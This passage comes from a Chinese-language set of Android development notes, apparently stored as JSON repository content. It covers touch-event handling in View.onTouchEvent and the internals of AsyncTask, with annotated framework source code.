performButtonActionOnTouchDown()处理鼠标右键菜单，有些View显示右键菜单就直接弹菜单.一般设备用不到鼠标，所以返回false。\n\t\t\t\tif (performButtonActionOnTouchDown(event)) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t// Walk up the hierarchy to determine if we're inside a scrolling container.\n\t\t\t\tboolean isInScrollingContainer = isInScrollingContainer();\n\n\t\t\t\t// For views inside a scrolling container, delay the pressed feedback for\n\t\t\t\t// a short period in case this is a scroll.\n\t\t\t\t// 就是遍历下View层级，判断这个View是不是在一个能scroll的View中。\n\t\t\t\tif (isInScrollingContainer) {\n\t\t\t\t    // 因为用户可能是点击或者是滚动，所以我们不能立马判断，先给用户设置一个要点击的事件。\n\t\t\t\t\tmPrivateFlags |= PFLAG_PREPRESSED;\n\t\t\t\t\tif (mPendingCheckForTap == null) {\n\t\t\t\t\t\tmPendingCheckForTap = new CheckForTap();\n\t\t\t\t\t}\n\t\t\t\t\tmPendingCheckForTap.x = event.getX();\n\t\t\t\t\tmPendingCheckForTap.y = event.getY();\n\t\t\t\t\t// 发送一个延时的操作，用于判断用户到底是点击还是滚动。其实就是在tapTimeout中如果用户没有滚动，那就是点击了。\n\t\t\t\t\tpostDelayed(mPendingCheckForTap, ViewConfiguration.getTapTimeout());\n\t\t\t\t} else {\n\t\t\t\t    // 设置成点击状态\n\t\t\t\t\t// Not inside a scrolling container, so show the feedback right away\n\t\t\t\t\tsetPressed(true, x, y);\n\t\t\t\t\t// 检查是否是长按，就是过一段时间后如果还在按住，那就是长按了。长按的时间是ViewConfiguration.getLongPressTimeout()\n\t\t\t\t\t// 也就是500毫秒\n\t\t\t\t\tcheckForLongClick(0);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase MotionEvent.ACTION_CANCEL:\n\t\t\t\t// 取消按下状态，移动点击消息，移动长按消息。\n\t\t\t\tsetPressed(false);\n\t\t\t\tremoveTapCallback();\n\t\t\t\tremoveLongPressCallback();\n\t\t\t\tbreak;\n\n\t\t\tcase MotionEvent.ACTION_MOVE:\n\t\t\t\tdrawableHotspotChanged(x, y);\n\t\t\t\t\n\t\t\t\t// Be lenient about moving outside of buttons， 检查是否移动到View外面了。\n\t\t\t\tif (!pointInView(x, y, mTouchSlop)) {\n\t\t\t\t    // 移动到区域外面去了，就要取消点击。\n\t\t\t\t\t// Outside button\n\t\t\t\t\tremoveTapCallback();\n\t\t\t\t\tif ((mPrivateFlags & PFLAG_PRESSED) != 0) {\n\t\t\t\t\t\t// Remove any future long press/tap checks\n\t\t\t\t\t\tremoveLongPressCallback();\n\n\t\t\t\t\t\tsetPressed(false);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n```\n\n\n上面讲了`Touch`事件的分发和处理，随便说一下点击事件:         \n我们平时使用的时候都知道给`View`设置点击事件是`setOnClickListener()`\n```java\n/**\n * Register a callback to be invoked when this view is clicked. If this view is not\n * clickable, it becomes clickable.\n *\n * @param l The callback that will run\n *\n * @see #setClickable(boolean)\n */\npublic void setOnClickListener(OnClickListener l) {\n\tif (!isClickable()) {\n\t\tsetClickable(true);\n\t}\n\t// `getListenerInfo()`就是判断成员变量`mListenerInfo`是否是null，不是就返回，是的话就初始化一个。\n\tgetListenerInfo().mOnClickListener = l;\n}\n```\n\n那什么地方会调用`mListenerInfo.mOnClickListener`呢？\n```java\n/**\n * Call this view's OnClickListener, if it is defined.  Performs all normal\n * actions associated with clicking: reporting accessibility event, playing\n * a sound, etc.\n *\n * @return True there was an assigned OnClickListener that was called, false\n *         otherwise is returned.\n */\npublic boolean performClick() {\n\tfinal boolean result;\n\tfinal ListenerInfo li = mListenerInfo;\n\tif (li != null && li.mOnClickListener != null) {\n\t\tplaySoundEffect(SoundEffectConstants.CLICK);\n\t\tli.mOnClickListener.onClick(this);\n\t\tresult = true;\n\t} else {\n\t\tresult = false;\n\t}\n\n\tsendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_CLICKED);\n\treturn result;\n}\n```\n\n讲到这里就明白了。`onTouchEvent()`中的`ACTION_UP`中会调用`performClick()`方法。\n\n\n到这里，就全部分析完了，这一块还是比较麻烦的，中间查了很多资料，有些地方自己可能也理解的不太对，如果有哪里理解的不对的地方，还请大家指出来。谢谢。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/AsyncTask详解.md",
    "content": "AsyncTask详解\n===\n\n`AsyncTask`简单的说其实就是`Handler`和`Thread`的结合，就想下面自己写的`MyAsyncTask`一样，这就是它的基本远离，当然它并不止这么简单。\n\n- 经典版异步任务                \n\n```java\npublic abstract class MyAsyncTask {\n\tprivate Handler handler = new Handler(){\n\t\tpublic void handleMessage(android.os.Message msg) {\n\t\t\tonPostExecute();\n\t\t};\n\t};\n\t\n\t/**\n\t * 后台任务执行之前 提示用户的界面操作.\n\t */\n\tpublic abstract void onPreExecute();\n\t\n\t/**\n\t * 后台任务执行之后 更新界面的操作.\n\t */\n\tpublic abstract void onPostExecute();\n\t\n\t/**\n\t * 在后台执行的一个耗时的操作.\n\t */\n\tpublic abstract void doInBackground();\n\t\n\t\n\tpublic void execute(){\n\t\t//1. 耗时任务执行之前通知界面更新\n\t\tonPreExecute();\n\t\tnew Thread(){\n\t\t\tpublic void run() {\n\t\t\t\tdoInBackground();\n\t\t\t\thandler.sendEmptyMessage(0);\n\t\t\t};\n\t\t}.start();\n\t\t\n\t} \n}\n```\n\n-  AsyncTask                 \n\n```java\nnew AsyncTask<Void, Void, Void>() {\n\t\t@Override\n\t\tprotected Void doInBackground(Void... params) {\n\t\t\tblackNumberInfos = dao.findByPage(startIndex, maxNumber);\n\t\t\treturn null;\n\t\t}\n\t\t@Override\n\t\tprotected void onPreExecute() {\n\t\t\tloading.setVisibility(View.VISIBLE);\n\t\t\tsuper.onPreExecute();\n\t\t}\n\t\t@Override\n\t\tprotected void onPostExecute(Void result) {\n\t\t\tloading.setVisibility(View.INVISIBLE);\n\t\t\tif (adapter == null) {// 第一次加载数据 数据适配器还不存在\n\t\t\t\tadapter = new CallSmsAdapter();\n\t\t\t\tlv_callsms_safe.setAdapter(adapter);\n\t\t\t} else {// 有新的数据被添加进来.\n\t\t\t\tadapter.notifyDataSetChanged();// 通知数据适配器 数据变化了.\n\t\t\t}\n\t\t\tsuper.onPostExecute(result);\n\t\t}\n\t}.execute(); \n类的构造方法中接收三个参数，这里我们不用参数就都给它传Void，new出来AsyncTask类之后然后重写这三个方法，\n最后别忘了执行execute方法，其实它的内部和我们写的经典版的异步任务相同，也是里面写了一个在新的线程中去执行耗时的操作，\n然后用handler发送Message对象，主线程收到这个Message之后去执行onPostExecute中的内容。\n\n\n//AsyncTask<Params, Progress, Result> ,params 异步任务执行(doBackgroud方法)需要的参数这个参数的实参可以由execute()方法的参数传入,\n// Progess 执行的进度,result是(doBackground方法)执行后的结果 \nnew AsyncTask<String, Void, Boolean>() { \n\t\tProgressDialog pd;\n\t\t@Override\n\t\tprotected Boolean doInBackground(String... params) { //这里返回的就是执行的接口，这个返回的结果会传递给onPostExecute的参数\n\t\t\ttry {\n\t\t\t\tString filename = params[0];//得到execute传入的参数\n\t\t\t\tFile file = new File(Environment.getExternalStorageDirectory(),filename);\n\t\t\t\tFileOutputStream fos = new FileOutputStream(file);\n\t\t\t\tSmsUtils.backUp(getApplicationContext(), fos, new BackUpStatusListener() {\n\t\t\t\t\tpublic void onBackUpProcess(int process) {\n\t\t\t\t\t\tpd.setProgress(process);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tpublic void beforeBackup(int max) {\n\t\t\t\t\t\tpd.setMax(max);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\treturn true;\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t\treturn false;\n\t\t\t}    \n\t\t}\n\t\t@Override\n\t\tprotected void onPreExecute() {\n\t\t\tpd = new ProgressDialog(AtoolsActivity.this);\n\t\t\tpd.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);\n\t\t\tpd.setMessage(\"正在备份短信\");\n\t\t\tpd.show();\n\t\t\tsuper.onPreExecute();\n\t\t}\n\t\t@Override\n\t\tprotected void onPostExecute(Boolean result) {\n\t\t\tpd.dismiss();\n\t\t\tif(result){\n\t\t\t\tToast.makeText(getApplicationContext(), \"备份成功\", 0).show();\n\t\t\t}else{\n\t\t\t\tToast.makeText(getApplicationContext(), \"备份失败\", 0).show();\n\t\t\t}\n\t\t\tsuper.onPostExecute(result);\n\t\t}\n\t\t\n\t}.execute(\"backup.xml\"); //这里传入的参数就是doInBackgound中的参数，会传入到doInBackground中\n \nProgressDialog有个方法\nincrementProgressBy(int num);方法，这个方法能够让进度条自动增加，如果参数为1就是进度条累加1。\n \n可以给ProgressDialog添加一个监听dismiss的监听器。pd.setOnDismisListener(DismisListener listener);让其在取消显示后做什么事\n```\n\n经过上面两部分，我们会发现`AsyncTask`太好了，他帮我们封装了`Handler`和`Thread`，当然他内部肯定会有线程池的管理，所以以后我们在开发中对于耗时的操作可以都用`AsyncTask`来搞定的。其实这种做法是错误的。今天发现公司项目中的网络请求都是用`AsyncTask`来做的(刚换的工作)。这样会有严重的问题。\n\n`AsyncTask`存在的问题:\n\n- `AsyncTask`虽然有`cancel`方法，但是一旦执行了`doInBackground`方法，就算调用取消方法，也会执行完`doInBackground`方法中的内容才会停止。\n- 串行还是并行的问题。\n    在`1.6`之前，`AsyncTask`是串行执行任务的。`1.6`的时候开始采用线程池并行处理。但是从`3.0`开始为了解决`AsyncTask`的并发问题，`AsyncTask`又采用一个现成来串行执行任务。(串行啊，每个任务10秒，五个任务，最后一个就要到50秒的时候才执行完)\n- 线程池的问题。\n\n\n先从源码的角度分析下:             \n打开源码后先看下他的注释，注释把我们所关心的内容说的很明白了。`AsyncTask`并不是设计来处理耗时操作的，耗时的上限最多为几秒钟。\n\n```\nAsyncTask enables proper and easy use of the UI thread. This class allows to perform background operations and \n publish results on the UI thread without having to manipulate threads and/or handlers. \nAsyncTask is designed to be a helper class around Thread and Handler and does not constitute a generic threading \n framework. ***AsyncTasks should ideally be used for short operations (a few seconds at the most.) If you need to keep \n threads running for long periods of time, it is highly recommended you use the various APIs provided by the \n java.util.concurrent package such as Executor, ThreadPoolExecutor and FutureTask. ***\n \nThere are a few threading rules that must be followed for this class to work properly: \n\t- The AsyncTask class must be loaded on the UI thread. This is done automatically as of \n\t android.os.Build.VERSION_CODES.JELLY_BEAN. \n\t- The task instance must be created on the UI thread. \n\t- execute must be invoked on the UI thread. \n\t- Do not call onPreExecute(), onPostExecute, doInBackground, onProgressUpdate manually. \n\t- The task can be executed only once (an exception will be thrown if a second execution is attempted.) Memory \n\t observability\n\t \n    When first introduced, AsyncTasks were executed serially on a single background thread. Starting with \nandroid.os.Build.VERSION_CODES.DONUT, this was changed to a pool of threads allowing multiple tasks to operate \nin parallel. Starting with android.os.Build.VERSION_CODES.HONEYCOMB, tasks are executed on a single thread to \navoid common application errors caused by parallel execution. \nIf you truly want parallel execution, you can invoke executeOnExecutor(java.util.concurrent.Executor, Object[]) with \n THREAD_POOL_EXECUTOR.\n```\n\n拿到源码我们应该从哪里入手: 使用的时候我们都是 `new AsyncTask<>.execute()`所以我们可以先从构造方法和`execute`方法入手:\n\n```java\n/**\n * Creates a new asynchronous task. This constructor must be invoked on the UI thread.\n */\npublic AsyncTask() {\n    // 初始化mWorker\n\tmWorker = new WorkerRunnable<Params, Result>() {\n\t\tpublic Result call() throws Exception {\n\t\t\t// 修改该变量值\n\t\t\tmTaskInvoked.set(true);\n\n\t\t\tProcess.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND);\n\t\t\t// 熟悉的doInBackground方法，并且返回该方法的返回值。\n\t\t\t//noinspection unchecked\n\t\t\treturn postResult(doInBackground(mParams));\n\t\t}\n\t};\n\t// 初始化mFuture并且将mWorker作为参数。这个FutureTask是什么...我也不知道，放狗查了一下。FutureTask是一种可以取消的异步的计算任务实现了Runnable接口，\n\t// 它可以让程序员准确地知道线程什么时候执行完成并获得到线程执行完成后返回的结果。其实就是FutureTask就是个子线程，会去执行mWorker回调中的耗时的操作\n\t// 然后在执行完后执行done回调方法。\n\tmFuture = new FutureTask<Result>(mWorker) {\n\t\t@Override\n\t\tprotected void done() {\n\t\t\ttry {\n\t\t\t    // 执行完成后的操作\n\t\t\t\tpostResultIfNotInvoked(get());\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\tandroid.util.Log.w(LOG_TAG, e);\n\t\t\t} catch (ExecutionException e) {\n\t\t\t\tthrow new RuntimeException(\"An error occured while executing doInBackground()\",\n\t\t\t\t\t\te.getCause());\n\t\t\t} catch (CancellationException e) {\n\t\t\t\tpostResultIfNotInvoked(null);\n\t\t\t}\n\t\t}\n\t};\n}\n```\n\n`WorkerRunnable`是`Callable`接口的抽象实现类:\n\n```java\nprivate static abstract class WorkerRunnable<Params, Result> implements Callable<Result> {\n\tParams[] mParams;\n}\n```\n\n下面上`postResultIfNotInvoked()`源码:      \n```java\nprivate void postResultIfNotInvoked(Result result) {\n\tfinal boolean wasTaskInvoked = mTaskInvoked.get();\n\tif (!wasTaskInvoked) {\n\t\tpostResult(result);\n\t}\n}\n// 通过Handler和Message将结果发布出去\nprivate Result postResult(Result result) {\n\t@SuppressWarnings(\"unchecked\")\n\t// 调用getHandler去发送Message\n\tMessage message = getHandler().obtainMessage(MESSAGE_POST_RESULT,\n\t\t\tnew AsyncTaskResult<Result>(this, result));\n\tmessage.sendToTarget();\n\treturn result;\n}\n```\n\n那我们再看一下`getHandler()`方法得到的是哪个`Handler`:\n```java\nprivate static Handler getHandler() {\n\tsynchronized (AsyncTask.class) {\n\t\tif (sHandler == null) {\n\t\t\tsHandler = new InternalHandler();\n\t\t}\n\t\treturn sHandler;\n\t}\n}\n```\n那接下来再看一下`InternalHandler`的实现:\n```java\nprivate static class InternalHandler extends Handler {\n\tpublic InternalHandler() {\n\t\tsuper(Looper.getMainLooper());\n\t}\n\n\t@SuppressWarnings({\"unchecked\", \"RawUseOfParameterizedType\"})\n\t@Override\n\tpublic void handleMessage(Message msg) {\n\t\tAsyncTaskResult<?> result = (AsyncTaskResult<?>) msg.obj;\n\t\tswitch (msg.what) {\n\t\t\tcase MESSAGE_POST_RESULT:\n\t\t\t\t// There is only one result\n\t\t\t\tresult.mTask.finish(result.mData[0]);\n\t\t\t\tbreak;\n\t\t\tcase MESSAGE_POST_PROGRESS:\n\t\t\t\tresult.mTask.onProgressUpdate(result.mData);\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n```\n我们看到如果判断消息类型为`MESSAGE_POST_RESULT`时，回去执行`finish()`方法，接着看一下`result.mTask.finish()`方法的源码:\n```java\nprivate void finish(Result result) {\n\tif (isCancelled()) {\n\t    // 如果被取消了就执行onCancelled方法，这就是为什么虽然AsyncTask可以取消，但是doInBackground方法还是会执行完的原因。\n\t\tonCancelled(result);\n\t} else {\n\t    // 没被取消就执行oPostExecute方法\n\t\tonPostExecute(result);\n\t}\n\tmStatus = Status.FINISHED;\n}\n```\n\n到这里我们会发现已经分析完了`doInBackground`方法执行完后的一系列操作。那`onPreExecute`方法是在哪里?\n\n好了，接着看`execute()`方法\t:\n```java\npublic final AsyncTask<Params, Progress, Result> execute(Params... params) {\n\treturn executeOnExecutor(sDefaultExecutor, params);\n}\n```\n里面调用了`executeOnExecutor()`，我们看一下`executeOnExecutor()`方法:\n```java\npublic final AsyncTask<Params, Progress, Result> executeOnExecutor(Executor exec,\n\t\tParams... params) {\n\tif (mStatus != Status.PENDING) {\n\t\tswitch (mStatus) {\n\t\t\tcase RUNNING:\n\t\t\t\tthrow new IllegalStateException(\"Cannot execute task:\"\n\t\t\t\t\t\t+ \" the task is already running.\");\n\t\t\tcase FINISHED:\n\t\t\t\tthrow new IllegalStateException(\"Cannot execute task:\"\n\t\t\t\t\t\t+ \" the task has already been executed \"\n\t\t\t\t\t\t+ \"(a task can be executed only once)\");\n\t\t}\n\t}\n\n\tmStatus = Status.RUNNING;\n\t// 看到我们熟悉的onPreExecute()方法。\n\tonPreExecute();\n    // 将参数设置给mWorker变量\n\tmWorker.mParams = params;\n\t// 执行了Executor的execute方法并用mFuture为参数，这个exec就是上面的sDefaultExecutor\n\texec.execute(mFuture);\n\n\treturn this;\n}\n```\n我们看一下`sDefaultExecutor`是什么: \n```java\n/**\n * An {@link Executor} that executes tasks one at a time in serial\n * order.  This serialization is global to a particular process.\n */\npublic static final Executor SERIAL_EXECUTOR = new SerialExecutor();\n\nprivate static final int MESSAGE_POST_RESULT = 0x1;\nprivate static final int MESSAGE_POST_PROGRESS = 0x2;\n\nprivate static volatile Executor sDefaultExecutor = SERIAL_EXECUTOR;\n```\n从上面的部分能够看出`sDefaultExecutor`是一个`SerialExecutor`对象，好了，接下来看一下`SerialExecutor`类:\n```java\nprivate static class SerialExecutor implements Executor {\n    // 用一个队列来管理所有的runnable。offer是把要执行的添加进来，在scheduleNext中取出来去执行。\n\tfinal ArrayDeque<Runnable> mTasks = new ArrayDeque<Runnable>();\n\tRunnable mActive;\n\n\tpublic synchronized void execute(final Runnable r) {\n\t    // 终于找到了sDefaultExecutor.execute()所真正执行的部分。\n\t\tmTasks.offer(new Runnable() {\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t    // 就是mFuture的run方法，他会去调用mWorker.call方法，这样就会执行doInBackground方法，执行完后会把返回值用Handler发送出去\n\t\t\t\t\tr.run();\n\t\t\t\t} finally {\n\t\t\t\t\tscheduleNext();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\tif (mActive == null) {\n\t\t\tscheduleNext();\n\t\t}\n\t}\n\n\tprotected synchronized void scheduleNext() {\n\t\tif ((mActive = mTasks.poll()) != null) {\n\t\t    // 去取队列中的runnable去执行，这个mActive其实就是mFuture对象。\n\t\t\tTHREAD_POOL_EXECUTOR.execute(mActive);\n\t\t}\n\t}\n}\n```\n\n所以从`SerialExecutor`中我们能看到这就是为什么会串行的去执行了。因为他只会取队列的第一个去执行，其他的都在队列中等待。\n\n但是这里`THREAD_POOL_EXECUTOR`是什么呢？　　　　\n```java\n/**\n * An {@link Executor} that can be used to execute tasks in parallel.\n */\npublic static final Executor THREAD_POOL_EXECUTOR\n\t\t= new ThreadPoolExecutor(CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE,\n\t\t\t\tTimeUnit.SECONDS, sPoolWorkQueue, sThreadFactory);\n```\n静态常量，也就是所不管你用多少个`AsyncTask`都会用这同一个线程池。\n\n接着我们重点看一下`THREAD_POOL_EXECUTOR.execute(mActive)`:\n因为`mActive`就是`mFuture = new FutureTask<Result>(mWorker)`。所以在执行`execute`方法时会执行`FutureTask`的`run`方法:\n```java\npublic void run() {\n\tif (state != NEW ||\n\t\t!UNSAFE.compareAndSwapObject(this, runnerOffset,\n\t\t\t\t\t\t\t\t\t null, Thread.currentThread()))\n\t\treturn;\n\ttry {\n\t\tCallable<V> c = callable;\n\t\tif (c != null && state == NEW) {\n\t\t\tV result;\n\t\t\tboolean ran;\n\t\t\ttry {\n\t\t\t    // 他会去调用 Callable的call()方法，而上面传入的Callable参数是mWorker。所以这里就会调用mWorker的call方法。\n\t\t\t\t// 通过这里就和之前我们讲的doInBackground方法联系上了.\n\t\t\t\tresult = c.call();\n\t\t\t\tran = true;\n\t\t\t} catch (Throwable ex) {\n\t\t\t\tresult = null;\n\t\t\t\tran = false;\n\t\t\t\tsetException(ex);\n\t\t\t}\n\t\t\tif (ran)\n\t\t\t\tset(result);\n\t\t}\n\t} finally {\n\t\t// runner must be non-null until state is settled to\n\t\t// prevent concurrent calls to run()\n\t\trunner = null;\n\t\t// state must be re-read after nulling runner to prevent\n\t\t// leaked interrupts\n\t\tint s = state;\n\t\tif (s >= INTERRUPTING)\n\t\t\thandlePossibleCancellationInterrupt(s);\n\t}\n}\n```\n\n到这里就分析完了。\n\n下面把完整的代码粘贴上(5.1.1):\n```java\npublic abstract class AsyncTask<Params, Progress, Result> {\n    private static final String LOG_TAG = \"AsyncTask\";\n\n    private static final int CPU_COUNT = Runtime.getRuntime().availableProcessors();\n    private static final int CORE_POOL_SIZE = CPU_COUNT + 1;\n    private static final int MAXIMUM_POOL_SIZE = CPU_COUNT * 2 + 1;\n    private static final int KEEP_ALIVE = 1;\n\n    private static final ThreadFactory sThreadFactory = new ThreadFactory() {\n        private final AtomicInteger mCount = new AtomicInteger(1);\n\n        public Thread newThread(Runnable r) {\n            return new Thread(r, \"AsyncTask #\" + mCount.getAndIncrement());\n        }\n    };\n\n    private static final BlockingQueue<Runnable> sPoolWorkQueue =\n            new LinkedBlockingQueue<Runnable>(128);\n\n    /**\n     * An {@link Executor} that can be used to execute tasks in parallel.\n     */\n    public static final Executor THREAD_POOL_EXECUTOR\n            = new ThreadPoolExecutor(CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE,\n                    TimeUnit.SECONDS, sPoolWorkQueue, sThreadFactory);\n\n    /**\n     * An {@link Executor} that executes tasks one at a time in serial\n     * order.  This serialization is global to a particular process.\n     */\n    public static final Executor SERIAL_EXECUTOR = new SerialExecutor();\n\n    private static final int MESSAGE_POST_RESULT = 0x1;\n    private static final int MESSAGE_POST_PROGRESS = 0x2;\n\n    private static volatile Executor sDefaultExecutor = SERIAL_EXECUTOR;\n    private static InternalHandler sHandler;\n\n    private final WorkerRunnable<Params, Result> mWorker;\n    private final FutureTask<Result> mFuture;\n\n    private volatile Status mStatus = Status.PENDING;\n    \n    private final AtomicBoolean mCancelled = new AtomicBoolean();\n    private final AtomicBoolean mTaskInvoked = new AtomicBoolean();\n\n    private static class SerialExecutor implements Executor {\n        final ArrayDeque<Runnable> mTasks = new ArrayDeque<Runnable>();\n        Runnable mActive;\n\n        public synchronized void execute(final Runnable r) {\n            mTasks.offer(new Runnable() {\n                public void run() {\n                    try {\n                        r.run();\n                    } finally {\n                        scheduleNext();\n                    }\n                }\n            });\n            if (mActive == null) {\n                scheduleNext();\n            }\n        }\n\n        protected synchronized void scheduleNext() {\n            if ((mActive = mTasks.poll()) != null) {\n                THREAD_POOL_EXECUTOR.execute(mActive);\n            }\n        }\n    }\n\n    /**\n     * Indicates the current status of the task. Each status will be set only once\n     * during the lifetime of a task.\n     */\n    public enum Status {\n        /**\n         * Indicates that the task has not been executed yet.\n         */\n        PENDING,\n        /**\n         * Indicates that the task is running.\n         */\n        RUNNING,\n        /**\n         * Indicates that {@link AsyncTask#onPostExecute} has finished.\n         */\n        FINISHED,\n    }\n\n    private static Handler getHandler() {\n        synchronized (AsyncTask.class) {\n            if (sHandler == null) {\n                sHandler = new InternalHandler();\n            }\n            return sHandler;\n        }\n    }\n\n    /** @hide */\n    public static void setDefaultExecutor(Executor exec) {\n        sDefaultExecutor = exec;\n    }\n\n    /**\n     * Creates a new asynchronous task. This constructor must be invoked on the UI thread.\n     */\n    public AsyncTask() {\n        mWorker = new WorkerRunnable<Params, Result>() {\n            public Result call() throws Exception {\n                mTaskInvoked.set(true);\n\n                Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND);\n                //noinspection unchecked\n                return postResult(doInBackground(mParams));\n            }\n        };\n\n        mFuture = new FutureTask<Result>(mWorker) {\n            @Override\n            protected void done() {\n                try {\n                    postResultIfNotInvoked(get());\n                } catch (InterruptedException e) {\n                    android.util.Log.w(LOG_TAG, e);\n                } catch (ExecutionException e) {\n                    throw new RuntimeException(\"An error occured while executing doInBackground()\",\n                            e.getCause());\n                } catch (CancellationException e) {\n                    postResultIfNotInvoked(null);\n                }\n            }\n        };\n    }\n\n    private void postResultIfNotInvoked(Result result) {\n        final boolean wasTaskInvoked = mTaskInvoked.get();\n        if (!wasTaskInvoked) {\n            postResult(result);\n        }\n    }\n\n    private Result postResult(Result result) {\n        @SuppressWarnings(\"unchecked\")\n        Message message = getHandler().obtainMessage(MESSAGE_POST_RESULT,\n                new AsyncTaskResult<Result>(this, result));\n        message.sendToTarget();\n        return result;\n    }\n\n    /**\n     * Returns the current status of this task.\n     *\n     * @return The current status.\n     */\n    public final Status getStatus() {\n        return mStatus;\n    }\n\n    /**\n     * Override this method to perform a computation on a background thread. The\n     * specified parameters are the parameters passed to {@link #execute}\n     * by the caller of this task.\n     *\n     * This method can call {@link #publishProgress} to publish updates\n     * on the UI thread.\n     *\n     * @param params The parameters of the task.\n     *\n     * @return A result, defined by the subclass of this task.\n     *\n     * @see #onPreExecute()\n     * @see #onPostExecute\n     * @see #publishProgress\n     */\n    protected abstract Result doInBackground(Params... params);\n\n    /**\n     * Runs on the UI thread before {@link #doInBackground}.\n     *\n     * @see #onPostExecute\n     * @see #doInBackground\n     */\n    protected void onPreExecute() {\n    }\n\n    /**\n     * <p>Runs on the UI thread after {@link #doInBackground}. The\n     * specified result is the value returned by {@link #doInBackground}.</p>\n     * \n     * <p>This method won't be invoked if the task was cancelled.</p>\n     *\n     * @param result The result of the operation computed by {@link #doInBackground}.\n     *\n     * @see #onPreExecute\n     * @see #doInBackground\n     * @see #onCancelled(Object) \n     */\n    @SuppressWarnings({\"UnusedDeclaration\"})\n    protected void onPostExecute(Result result) {\n    }\n\n    /**\n     * Runs on the UI thread after {@link #publishProgress} is invoked.\n     * The specified values are the values passed to {@link #publishProgress}.\n     *\n     * @param values The values indicating progress.\n     *\n     * @see #publishProgress\n     * @see #doInBackground\n     */\n    @SuppressWarnings({\"UnusedDeclaration\"})\n    protected void onProgressUpdate(Progress... values) {\n    }\n\n    /**\n     * <p>Runs on the UI thread after {@link #cancel(boolean)} is invoked and\n     * {@link #doInBackground(Object[])} has finished.</p>\n     * \n     * <p>The default implementation simply invokes {@link #onCancelled()} and\n     * ignores the result. If you write your own implementation, do not call\n     * <code>super.onCancelled(result)</code>.</p>\n     *\n     * @param result The result, if any, computed in\n     *               {@link #doInBackground(Object[])}, can be null\n     * \n     * @see #cancel(boolean)\n     * @see #isCancelled()\n     */\n    @SuppressWarnings({\"UnusedParameters\"})\n    protected void onCancelled(Result result) {\n        onCancelled();\n    }    \n    \n    /**\n     * <p>Applications should preferably override {@link #onCancelled(Object)}.\n     * This method is invoked by the default implementation of\n     * {@link #onCancelled(Object)}.</p>\n     * \n     * <p>Runs on the UI thread after {@link #cancel(boolean)} is invoked and\n     * {@link #doInBackground(Object[])} has finished.</p>\n     *\n     * @see #onCancelled(Object) \n     * @see #cancel(boolean)\n     * @see #isCancelled()\n     */\n    protected void onCancelled() {\n    }\n\n    /**\n     * Returns <tt>true</tt> if this task was cancelled before it completed\n     * normally. If you are calling {@link #cancel(boolean)} on the task,\n     * the value returned by this method should be checked periodically from\n     * {@link #doInBackground(Object[])} to end the task as soon as possible.\n     *\n     * @return <tt>true</tt> if task was cancelled before it completed\n     *\n     * @see #cancel(boolean)\n     */\n    public final boolean isCancelled() {\n        return mCancelled.get();\n    }\n\n    /**\n     * <p>Attempts to cancel execution of this task.  This attempt will\n     * fail if the task has already completed, already been cancelled,\n     * or could not be cancelled for some other reason. If successful,\n     * and this task has not started when <tt>cancel</tt> is called,\n     * this task should never run. If the task has already started,\n     * then the <tt>mayInterruptIfRunning</tt> parameter determines\n     * whether the thread executing this task should be interrupted in\n     * an attempt to stop the task.</p>\n     * \n     * <p>Calling this method will result in {@link #onCancelled(Object)} being\n     * invoked on the UI thread after {@link #doInBackground(Object[])}\n     * returns. Calling this method guarantees that {@link #onPostExecute(Object)}\n     * is never invoked. After invoking this method, you should check the\n     * value returned by {@link #isCancelled()} periodically from\n     * {@link #doInBackground(Object[])} to finish the task as early as\n     * possible.</p>\n     *\n     * @param mayInterruptIfRunning <tt>true</tt> if the thread executing this\n     *        task should be interrupted; otherwise, in-progress tasks are allowed\n     *        to complete.\n     *\n     * @return <tt>false</tt> if the task could not be cancelled,\n     *         typically because it has already completed normally;\n     *         <tt>true</tt> otherwise\n     *\n     * @see #isCancelled()\n     * @see #onCancelled(Object)\n     */\n    public final boolean cancel(boolean mayInterruptIfRunning) {\n        mCancelled.set(true);\n        return mFuture.cancel(mayInterruptIfRunning);\n    }\n\n    /**\n     * Waits if necessary for the computation to complete, and then\n     * retrieves its result.\n     *\n     * @return The computed result.\n     *\n     * @throws CancellationException If the computation was cancelled.\n     * @throws ExecutionException If the computation threw an exception.\n     * @throws InterruptedException If the current thread was interrupted\n     *         while waiting.\n     */\n    public final Result get() throws InterruptedException, ExecutionException {\n        return mFuture.get();\n    }\n\n    /**\n     * Waits if necessary for at most the given time for the computation\n     * to complete, and then retrieves its result.\n     *\n     * @param timeout Time to wait before cancelling the operation.\n     * @param unit The time unit for the timeout.\n     *\n     * @return The computed result.\n     *\n     * @throws CancellationException If the computation was cancelled.\n     * @throws ExecutionException If the computation threw an exception.\n     * @throws InterruptedException If the current thread was interrupted\n     *         while waiting.\n     * @throws TimeoutException If the wait timed out.\n     */\n    public final Result get(long timeout, TimeUnit unit) throws InterruptedException,\n            ExecutionException, TimeoutException {\n        return mFuture.get(timeout, unit);\n    }\n\n    /**\n     * Executes the task with the specified parameters. The task returns\n     * itself (this) so that the caller can keep a reference to it.\n     * \n     * <p>Note: this function schedules the task on a queue for a single background\n     * thread or pool of threads depending on the platform version.  When first\n     * introduced, AsyncTasks were executed serially on a single background thread.\n     * Starting with {@link android.os.Build.VERSION_CODES#DONUT}, this was changed\n     * to a pool of threads allowing multiple tasks to operate in parallel. Starting\n     * {@link android.os.Build.VERSION_CODES#HONEYCOMB}, tasks are back to being\n     * executed on a single thread to avoid common application errors caused\n     * by parallel execution.  If you truly want parallel execution, 